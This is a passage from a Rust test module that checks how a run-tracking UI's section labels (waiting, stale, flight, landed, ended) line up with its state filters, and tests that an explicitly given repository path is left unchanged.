14640            .map(|(waiting, status, dead)| {
14641                let done = !not_done.contains(&status.as_str());
14642                (waiting, status, dead, done)
14643            })
14644            .collect();
14645
14646        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
14647        // outright, then merged/ready land, stalled/blocked/failed/
14648        // verified_noop end, and everything else is still in flight.
14649        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14650            if waiting {
14651                return "waiting";
14652            }
14653            if dead
14654                && !matches!(
14655                    status,
14656                    "merged"
14657                        | "ready"
14658                        | "stalled"
14659                        | "blocked"
14660                        | "failed"
14661                        | "verified_noop"
14662                        | "superseded"
14663                        | "already_in_base"
14664                )
14665            {
14666                return "stale";
14667            }
14668            match status {
14669                "merged" | "ready" => "landed",
14670                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14671                | "already_in_base" => "ended",
14672                _ => "flight",
14673            }
14674        }
14675
14676        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
14677        // way.
14678        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14679            match filter_key {
14680                "active" => !done,
14681                "flight" => !done && !waiting && !dead,
14682                "stale" => !done && !waiting && dead,
14683                "waiting" => waiting,
14684                "done" => done,
14685                "all" => true,
14686                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14687            }
14688        }
14689
14690        let compatible = |section: &str, filter_key: &str| {
14691            shapes.iter().any(|(waiting, status, dead, done)| {
14692                run_section(*waiting, status, *dead) == section
14693                    && filter_matches(filter_key, *waiting, *dead, *done)
14694            })
14695        };
14696
14697        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
14698        // (active, flight, stale, waiting, done, all) - hand-derived from the
14699        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
14700        // currently contains.
14701        let expected = [
14702            ("waiting", [true, false, false, true, true, true]),
14703            ("stale", [true, false, true, false, false, true]),
14704            ("flight", [true, true, false, false, false, true]),
14705            ("landed", [false, false, false, false, true, true]),
14706            ("ended", [false, false, false, false, true, true]),
14707        ];
14708        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14709
14710        for (section, wants) in expected {
14711            for (filter_key, want) in filter_keys.iter().zip(wants) {
14712                assert_eq!(
14713                    compatible(section, filter_key),
14714                    want,
14715                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14716                );
14717            }
14718        }
14719
14720        // The compatibility check exists only to be acted on: both pickers
14721        // must actually consult it rather than just render its answer.
14722        assert!(
14723            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14724        );
14725        assert!(APP_JS.contains(
14726            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14727        ));
14728        assert!(APP_JS.contains(
14729            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14730        ));
14731    }
14732
14733    #[tokio::test]
14734    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14735        // An operator-named directory - git checkout or not - is never
14736        // second-guessed, even when it does not exist at all: only the
14737        // flag's own unmodified `.` default is ever eligible for discovery.
14738        let dir = tempfile::tempdir().expect("tempdir");
14739        let explicit = dir.path().join("not-a-checkout");
14740        std::fs::create_dir_all(&explicit).expect("create dir");
14741        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14742
14743        let missing = dir.path().join("does-not-exist-at-all");
14744        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14745    }
14746}